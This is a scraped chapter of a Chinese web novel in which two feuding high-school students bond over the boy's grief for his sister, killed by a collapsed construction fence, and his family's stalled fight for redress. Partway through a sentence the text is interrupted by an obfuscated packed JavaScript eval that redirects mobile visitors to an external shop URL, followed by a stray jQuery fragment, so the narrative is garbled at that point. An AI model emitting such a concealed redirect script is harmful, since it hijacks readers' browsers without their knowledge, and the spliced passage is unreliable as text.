文趣网 > 其他小说 > 太阳的背面是什么 > 44. 第 44 章
    这下向汀雯一个激灵差点把咖啡砸了。

    她张口结舌,本来打好腹稿的话此刻一句都说不出来了。

    生离死别向汀雯还没有亲身体验过,家中老人健在,亲近一点的亲朋好友也都好好生活着。长到这个年纪她还觉得这种事情很是遥远,但如今被舒景南猝不及防的话一激,她瞬间哑了火。

    向汀雯的眼睛里带着自己都没有察觉到的悲悯,长久地凝视着舒景南的脸,他垂着睫毛,看上去格外落寞。

    “对不起,我……我不知道。”

    向汀雯心里很不是滋味,恨不得给自己一巴掌:这叫哪壶不开提哪壶啊!

    “你不用懊悔,觉得自己说错话了,没关系的,这几年我早就麻木了。”

    即便听到舒景南的安慰,向汀雯依旧惴惴不安地咬着上嘴唇,几番犹豫后轻轻开口:“我冒昧地问个问题,是……因为什么啊?”

    “那天下着大雨,我家附近有一个老旧小区门口施工,围了铁皮护栏,但是不牢固,我姐放学从底下走过,就……”

    “哎等等,是老城区那边吗?”

    “对。”

    向汀雯脑子里霎时浮现出之前钱茗随口讲的一件事,铁皮围栏压死了好几个人,家属一直在告一直在闹,还是没有结果。

    “那……这算意外伤害吧。”

    “嗯,但是维权特别困难,各个部门推诿扯皮,把我们受害者家属当做皮球来踢来踢去。”

    舒景南把杯底最后一点咖啡喝进嘴里:“草菅人命的一群人,要不是我们家属一直在闹,甚至连个说法都没。”他崩溃地将脸埋在掌心,“事发地点没有监控,施工方得知出事,不惜破坏现场将剩余的铁皮护栏全都拆掉。这种事情看起来似乎是板上钉钉的结果,但申诉打官司都是困难重重。直到现在,我姐出事马上都要五年了,还没有一方站出来给我们一个合理的解释。”

    说着说着舒景南的语气更沮丧了:“可能是高三了,压力太大,我前段时间频繁梦见她,也时常想起她。她。她走后的每一天我都在思念她,最开始那一个星期我完全睡不着,一闭眼就是在医院的病房里,听到心电监护仪发出的滴滴警报声,我姐头上手上带着没擦干的血迹,一动不动地躺在那里。”

    向汀雯光是听着脑海里就能想象出大致的画面,这种设身处地的痛苦太令人窒息,使得她也无端难受起来。

    泪水糊住视线,向汀雯本来就有些近视,出门走得急没戴眼镜,半米开外舒景南的脸时而清晰时而模糊,她用力巴眨了下眼,一时想不出自己该说什么来安慰他。

    “你说的没错向汀雯,本来我觉得这一切咬咬牙我都能熬过去,但是……”舒景南没有理她,自顾自讲下去,“昨天最新一轮调解,我们提出的要求又被对方被一个一个驳回,相关负责人说,事情都过去这么久了,再计较有什么意义呢,人都在土里烂到没影了,还不肯收手啊。”

    “但这个不是关键,我父母也不知道怎么想的,可能是近些年生意难做,他们越来越忙,我多问了几句,我爸就冲着我歇斯底里地大吼,质问我为什么不把心思放学习上,为什么总要给他们打乱……”

    舒景南讲述这些事时,除了声音带着点不易察觉的颤抖,向汀雯几乎听不出什么情绪上的波澜。他平静地把目光转向窗外,外面的步行街上行人来来往往。今天是周六,下班的放学的人难得有空,一股脑找个地方来放松自己。大多数人都是步履匆匆,也有人和友人伴侣一起,说说笑笑着走过,偶然好奇地看一眼坐在窗边年纪不大的二人,随即继续向前。

    “所以,你……你现在还好吗?”

    “说点心里话,聊胜于无。”舒景南重新把头扭回来,重新弯着眼笑吟吟地看向向汀雯,眼里盛满她再熟悉不过的温和。

    “我其实还好,刚才忘记说了,坐在那里是因为小时候我就喜欢那块石头,小的时候水位线没这么高。所以我只是坐在那里喘口气,暂时没有想撒手人寰的意愿。还要跟你说声抱歉,刚才情绪有些失控吓到你了吧,还望理解一下。”

    “干嘛突然这么客气,你要散心哪里不能散?就非要坐在那里,谁看了都会被吓到的好吧。要我说,你今天真的跳下去,明天你就可以上本地新闻头条了,别犯傻,你要带着你姐姐一起活下去。”向汀雯叉腰皱着眉头,口气很不满地训斥了几声,又觉得自己语气过重,只好哄小孩一样轻轻拍了拍他的手背,准备再说几句安慰人的话,却被舒景南打断。

    “那你呢?现在天气又没暖和,你干嘛也跑到江边来,这么巧刚好让你碰见我了。”

    “别提了。”向汀雯十分烦躁地扣着空咖啡杯

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778914|205853||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    边缘,将其边角都扣出细碎的纸屑,“还不是因为成绩!学习学习!每天都在学习!我真的受不了高三了,我妈简直就是走火入魔了,恨不得我一天24小时全部拿来学习,学到死她才满意。”

    舒景南听她絮絮叨叨地抱怨完,伸手把“伤痕累累”的杯子从她手里抢出来:“看来每个人的烦恼都不一样,我们俩在这里抱头取暖呢,也是同病相怜了。”

    向汀雯嗤笑了一声,往椅背上一靠;“荣幸至极,其他同学一定想不到,我们两个闹翻天的死对头如今竟然能面对面坐着聊天。”

    “那我们……还吵吗?”

    “现在吵也没什么意思?我……我当时其实单纯是看你不顺眼而已,大名鼎鼎的舒景南那么耀眼那么坦荡,很让人羡慕啊。”向汀雯的目光虚虚地落在远处,似乎想透过空气怀念过去一番,“我记得你当时还傻兮兮地跑过来,想找我问清楚,结果我反将一军,把你怼到没话说。”

    她轻笑起来,黑羽般的睫毛扑闪:“这么看我以前很幼稚。”

    “人都是流动的,倒也正常,我反正已经想不起来了你所说的事了,要不就一笔勾销……”

    “时间不早,我要先走了,你也赶紧回去吧,老城区离这里还是有点路的,多谢你的咖啡,改天我请回来。”向汀雯匆匆打断舒景南说到一半的话,看了眼窗外站起来,把坐皱的衣角拽平,“离九点还有多久?”

    “十分钟。”

    “我真的要走了。”

    向汀雯顺手把擦过嘴的纸巾扔进垃圾桶,张惶地思考着钱茗到底什么时候下班,手腕却被一股力量扣住。

    是舒景南。

    “向汀雯,那我们……可以试着做朋友吗?”他皮肤白,衬得眼尾泛起一层薄红,但舒景南看向她的眼神带着丝期待和祈求。

    向汀雯别在耳后的头发恰好滑落,挡住她大半张脸,他们一个站着一个坐着,逆光使得舒景南看不清她的脸色,但自己抓着向汀雯手腕的指尖能清晰感受到她愈来愈快的脉搏。

    向汀雯的手腕很细,舒景南也没使劲,她若想挣脱只需稍稍使点劲,但向汀雯没有。

    二人长久地僵持着,过了一会向汀雯慢慢抽回手腕,把刘海往后脑勺一撩,露出她一贯熟悉的笑颜。

    “真的吗?要不……试一试也行?”